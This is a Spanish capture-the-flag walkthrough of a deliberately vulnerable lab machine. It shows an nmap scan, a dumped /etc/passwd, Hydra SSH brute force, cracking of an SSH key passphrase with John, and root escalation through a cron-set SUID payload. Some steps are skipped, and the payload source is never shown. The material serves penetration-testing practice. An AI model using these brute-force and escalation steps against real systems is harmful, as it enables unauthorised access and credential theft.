Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 14:14 EDT
Nmap scan report for 192.168.5.19
Host is up (0.0014s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:04:21:6d:81:68:2e:d7:fe:5e:b2:2c:1c:a2:f5:3d (RSA)
| 256 b2:4e:c2:91:2a:ba:eb:9c:b7:26:69:08:a2:de:f2:f1 (ECDSA)
|_ 256 66:4e:78:52:b1:2d:b6:9a:8b:56:2b:ca:e5:48:55:2d (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:A3:A0:CF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds
Veremos que hay un puerto 80 que aloja una pagina web, si entramos dentro veremos una pagina super simple que pone lo siguiente:
Im proud to announce that "theuser" is not anymore in our servers. Our admin "mudra" is the best admin of the world. -suidy
No veremos nada interesante, a parte de un posible nombre de usuario, por lo que vamos a realizar un poco de fuzzing.
Si inspeccionamos la pagina veremos lo siguiente:
<!--
"mudra" is not the best admin, IM IN!!!!
He only changed my password to a different but I had time
to put 2 backdoors (.php) from my KALI into /supersecure to keep the access!
-theuser
-->
Vemos que nos muestra una ruta web la cual vamos a probar en el navegador.
URL = http://<IP>/supersecure
Si entramos vemos que existe, pero nos saltara un 403 Forbbiden por lo que vamos a realizar un fuzzing con gobuster y estamos viendo que tambien nos comenta en el comentario que se trata de una backdoor con PHP por lo que vamos a utilizar una lista especial de backdoors.
file parameter is my friend.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
murda:x:1000:1000:murda,,,:/home/murda:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
violent:x:1001:1001:,,,:/home/violent:/bin/bash
yo:x:1002:1002:,,,:/home/yo:/bin/bash
ruin:x:1003:1003:,,,:/home/ruin:/bin/bash
theuser:x:1004:1004:,,,:/home/theuser:/bin/bash
suidy:x:1005:1005:,,,:/home/suidy:/bin/bash
Vemos que nos ha dejado, vamos a probar a lanzar fuerza bruta hacia el usuario llamado murda ya que es el primer usuario creado y si nos fijamos cambia algunas letras respecto al usuario que esta en la pagina que se menciono antes.
Hydra
hydra -l murda -P <WORDLIST> ssh://<IP>/ -t 64 -I
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-16 14:40:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.5.19:22/
[22][ssh] host: 192.168.5.19 login: murda password: iloveyou
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-16 14:41:05
Veremos que hemos conseguido las credenciales de dicho usuario, por lo que vamos a conectarnos por SSH.
SSH
ssh murda@<IP>
Metemos como contraseña iloveyou y veremos que estaremos dentro.
Escalate user violent
Si leemos el archivo secret de la /home del usuario murda veremos lo siguiente:
cat secret.txt
Info:
I know that theuser is here!
I just got the id_rsa from "violent".
I will put the key in a secure place for theuser!
I hope he find it.
Remember that rockyou.txt is your friend!
Vemos que esta hablando de alguna id_rsa del usuario violent, vamos a investigar eso un poco mas.
find / -name "id_rsa" 2>/dev/null
Info:
/usr/games/id_rsa
Vemos que nos ha encontrado una id_rsa que como vimos antes es del usuario violent, vamos a copiarnosla y pasarla a nuestro host.
Teniendo dicho archivo en nuestro host vamos a establecerle los permisos necesarios.
chmod 600 id_rsa
Ahora vamos a probar a conectarnos por SSH mediante dicho usuario con la clave PEM.
ssh -i id_rsa violent@<IP>
Info:
Enter passphrase for key 'id_rsa':
Vemos que nos pide la contraseña de dicho id_rsa por lo que esta funcionando, vamos a intentar crackearlo con john.
ssh2john id_rsa > hash.ssh
john --wordlist=<WORDLIST> hash.ssh
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ihateu (id_rsa)
1g 0:00:00:28 DONE (2025-05-16 14:50) 0.03559g/s 44.42p/s 44.42c/s 44.42C/s ramona..shirley
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Vemos que hemos obtenido la contraseña, por lo que vamos a utilizarla utilizando el mismo comando que antes.
ssh -i id_rsa violent@<IP>
Metemos como contraseña ihateu y veremos que estamos dentro.
Escalate user theuser
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for violent on suidyrevenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User violent may run the following commands on suidyrevenge:
(root) NOPASSWD: /usr/bin/violent
Vemos que podemos ejecutar el binario violent como el usuario root, por lo que vamos a investigar dicho binario.
Pero no veremos nada interesante, buscando mucho sin encontrar resultados, vamos a probar a generar un diccionario de palabras de la pagina principal del servidor de la maquina victima y tirarle fuerza bruta al usuario theuser a ver si funciona.
cewl http://<IP> -w dic.txt
Ahora vamos a utilizar dicho diccionario.
hydra -l theuser -P dic.txt ssh://<IP>/ -t 64 -I
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-16 14:56:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 31 tasks per 1 server, overall 31 tasks, 31 login tries (l:1/p:31), ~1 try per task
[DATA] attacking ssh://192.168.5.19:22/
[22][ssh] host: 192.168.5.19 login: theuser password: different
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 10 final worker threads did not complete until end.
[ERROR] 10 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-16 14:56:43
Veremos que ha funcionado, por lo que vamos a escalar directamente a dicho usuario metiendo dicha contraseña.
su theuser
Metemos como contraseña different y veremos que seremos dicho usuario, por lo que leeremos la flag del usuario.
Ahora que hemos creado ese binario malicioso, haremos lo siguiente:
cd /tmp
gcc /tmp/payload.c -o suidyyyyy
cp suidyyyyy /home/suidy/suidyyyyy
Ahora tendremos que esperar a que se establezca los permisos SUID de nuevo, ya que por detras hay una tarea programada que establece root a dicho binario permisos SUID.
ls -la /home/suidy/suidyyyyy
Info:
-rwsrws--- 1 root theuser 16712 May 16 15:03 /home/suidy/suidyyyyy
Veremos que ha funcionado, por lo que haremos lo siguiente:
/home/suidy/suidyyyyy
Info:
root@suidyrevenge:/tmp# whoami
root
Por lo que vemos ya seremos root por lo que leeremos la flag de root.